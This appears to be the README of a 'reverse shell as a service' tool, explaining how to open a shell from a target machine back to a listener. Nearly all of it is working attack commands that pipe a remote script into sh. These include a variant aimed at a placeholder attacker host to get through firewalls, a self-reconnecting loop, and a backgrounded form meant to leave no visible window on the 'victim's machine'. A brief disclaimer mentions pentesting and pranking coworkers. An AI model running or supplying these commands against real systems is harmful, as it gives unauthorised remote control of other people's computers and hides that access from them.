# reverse-shell
> Reverse Shell as a Service - https://reverse-shell.sh
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Easy to remember reverse shell that should work on most Unix-like systems.
Detects available software on the target and runs an appropriate payload.
## Usage
### 1. Listen for connection
On your machine, open up a port and listen on it. You can do this easily with netcat.
```shell
nc -l 1337
```
### 2. Execute reverse shell on target
On the target machine, pipe the output of https://reverse-shell.sh/yourip:port into sh.
```shell
curl https://reverse-shell.sh/192.168.0.69:1337 | sh
```
Go back to your machine, you should now have a shell prompt.
### 3. Don't be a dick
This is meant to be used for pentesting or helping coworkers understand why they should always lock their computers. Please don't use this for anything malicious.
## Demo
## Tips
### Hostname
You can use a hostname instead of an IP.
```shell
curl https://reverse-shell.sh/localhost:1337 | sh
```
### Remote connections
Because this is a reverse connection it can punch through firewalls and connect to the internet.
You could listen for connections on a server at evil.com and get a reverse shell from inside a secure network with:
```shell
curl https://reverse-shell.sh/evil.com:1337 | sh
```
### Reconnecting
By default when the shell exits you lose your connection. You may do this by accident with an invalid command. You can easily create a shell that will attempt to reconnect by wrapping it in a while loop.
```shell
while true; do curl https://reverse-shell.sh/yourip:1337 | sh; done
```
Be careful if you do this to a coworker, if they leave the office with this still running you're opening them up to attack.
### Running as a background process
The terminal session needs to be kept open to persist the reverse shell connection. That might be a bit of a giveaway if you're trying to prank coworkers.
The following command will run the reverse shell in a background process and exit the terminal, leaving no suspicious looking terminal windows open on the victim's machine.
Make sure you run this in a fresh terminal window otherwise you'll lose any work in your existing session.
```shell
sh -c "curl https://reverse-shell.sh/localhost:1337 | sh -i &" && exit
```
## License
MIT © Luke Childs